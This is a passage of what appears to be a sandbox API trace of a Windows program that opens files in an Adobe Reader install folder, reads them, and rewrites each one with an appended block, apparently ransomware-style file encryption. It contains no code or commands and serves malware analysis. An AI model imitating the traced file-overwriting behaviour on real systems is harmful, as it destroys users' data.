lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvSOFT.x3d", cchWideChar=11, lpMultiByteStr=0x1e62fec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drvSOFT.x3d", lpUsedDefaultChar=0x0) returned 11 [0041.361] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0041.390] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x34190 [0041.390] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.404] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x34190 [0041.405] WriteFile (in: hFile=0x198, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.405] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0041.405] WriteFile (in: hFile=0x198, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0041.405] CloseHandle (hObject=0x198) returned 1 [0041.405] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\add_reviewer.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.416] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.416] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x53a [0041.416] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.416] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.416] ReleaseMutex (hMutex=0x128) returned 1 [0041.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_reviewer.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_reviewer.gif", cchWideChar=16, lpMultiByteStr=0x1e78c44, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_reviewer.gif", lpUsedDefaultChar=0x0) returned 16 [0041.416] ReadFile (in: hFile=0x1c4, lpBuffer=0x1e16478, nNumberOfBytesToRead=0x53a, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e16478*, lpNumberOfBytesRead=0x2c0f2bc*=0x53a, lpOverlapped=0x0) returned 1 [0041.429] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0041.429] WriteFile (in: hFile=0x1c4, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0xac2, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2c0f2d0*=0xac2, lpOverlapped=0x0) returned 1 [0041.429] CloseHandle (hObject=0x1c4) returned 1 [0041.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_received.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.450] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.450] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x267 [0041.450] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.450] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.450] ReleaseMutex (hMutex=0x128) returned 1 [0041.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_received.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_received.gif", cchWideChar=18, lpMultiByteStr=0x1e78b7c, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="forms_received.gif", lpUsedDefaultChar=0x0) returned 18 [0041.451] ReadFile (in: hFile=0x1c4, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x267, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x2c0f2bc*=0x267, lpOverlapped=0x0) returned 1 [0041.458] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0041.458] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7ef, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2c0f2d0*=0x7ef, lpOverlapped=0x0) returned 1 [0041.458] CloseHandle (hObject=0x1c4) returned 1 [0041.458] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_super.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.461] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.461] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x32e [0041.461] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.461] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.461] ReleaseMutex (hMutex=0x128) returned 1 [0041.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_super.gif", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_super.gif", cchWideChar=17, lpMultiByteStr=0x1e78b04, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviews_super.gif", lpUsedDefaultChar=0x0) returned 17 [0041.461] ReadFile (in: hFile=0x198, lpBuffer=0x2750828, nNumberOfBytesToRead=0x32e, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x2c0f2bc*=0x32e, lpOverlapped=0x0) returned 1 [0041.464] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0041.465] WriteFile (in: hFile=0x198, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8b6, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2c0f2d0*=0x8b6, lpOverlapped=0x0) returned 1 [0041.465] CloseHandle (hObject=0x198) returned 1 [0041.466] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\submission_history.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\submission_history.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.466] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.466] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x38a [0041.466] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.466] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.466] ReleaseMutex (hMutex=0x128) returned 1 [0041.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="submission_history.gif", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0041.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="submission_history.gif", cchWideChar=22, lpMultiByteStr=0x1e78b04, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="submission_history.gif", lpUsedDefaultChar=0x0) returned 22 [0041.466] ReadFile (in: hFile=0x198, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x38a, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x2c0f2bc*=0x38a, lpOverlapped=0x0) returned 1 [0041.469] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0041.469] WriteFile (in: hFile=0x198, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x912, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2c0f2d0*=0x912, lpOverlapped=0x0) returned 1 [0041.469] CloseHandle (hObject=0x198) returned 1 [0041.470] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.470] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.470] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4176 [0041.470] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.470] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.470] ReleaseMutex (hMutex=0x128) returned 1 [0041.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMe.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMe.htm", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMe.htm", lpUsedDefaultChar=0x0) returned 10 [0041.470] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.474] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3176 [0041.474] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.474] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3176 [0041.475] WriteFile (in: hFile=0x198, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.475] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0041.475] WriteFile (in: hFile=0x198, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.475] CloseHandle (hObject=0x198) returned 1 [0041.475] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.475] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.475] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4872 [0041.475] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.475] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.476] ReleaseMutex (hMutex=0x128) returned 1 [0041.476] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUS.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.476] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUS.htm", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeRUS.htm", lpUsedDefaultChar=0x0) returned 13 [0041.476] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.477] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3872 [0041.477] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.478] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3872 [0041.478] WriteFile (in: hFile=0x198, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.478] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0041.478] WriteFile (in: hFile=0x198, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.479] CloseHandle (hObject=0x198) returned 1 [0041.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozMinPr6N-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozminpr6n-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.480] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.480] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x7c205c [0041.480] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.480] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.480] ReleaseMutex (hMutex=0x128) returned 1 [0041.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozMinPr6N-Regular.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0041.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozMinPr6N-Regular.otf", cchWideChar=22, lpMultiByteStr=0x1e78b04, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KozMinPr6N-Regular.otf", lpUsedDefaultChar=0x0) returned 22 [0041.480] ReadFile (in: hFile=0x198, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.482] ReadFile (in: hFile=0x198, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.484] ReadFile (in: hFile=0x198, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0x2000, lpOverlapped=0x0) returned 1 [0041.484] SetFilePointer (in: hFile=0x198, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x7c005c [0041.484] ReadFile (in: hFile=0x198, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2c0f278*=0x2000, lpOverlapped=0x0) returned 1 [0041.487] SetFilePointer (in: hFile=0x198, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x7c005c [0041.488] WriteFile (in: hFile=0x198, lpBuffer=0x271ce78*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x271ce78*, lpNumberOfBytesWritten=0x2c0f28c*=0x2588, lpOverlapped=0x0) returned 1 [0041.488] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0041.488] WriteFile (in: hFile=0x198, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.488] WriteFile (in: hFile=0x198, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.489] WriteFile (in: hFile=0x198, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2c0f28c*=0x2000, lpOverlapped=0x0) returned 1 [0041.489] CloseHandle (hObject=0x198) returned 1 [0041.489] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.490] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H", lpFilePart=0x2c0f690*="Add-RKSJ-H") returned 0x41 [0041.490] GetLastError () returned 0x5 [0041.490] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0041.490] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.490] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.490] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0041.490] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.490] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.490] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-h")) returned 0x20 [0041.490] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-cid"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.491] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID", lpFilePart=0x2c0f690*="Adobe-CNS1-H-CID") returned 0x47 [0041.491] GetLastError () returned 0x5 [0041.491] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0041.491] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.491] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: 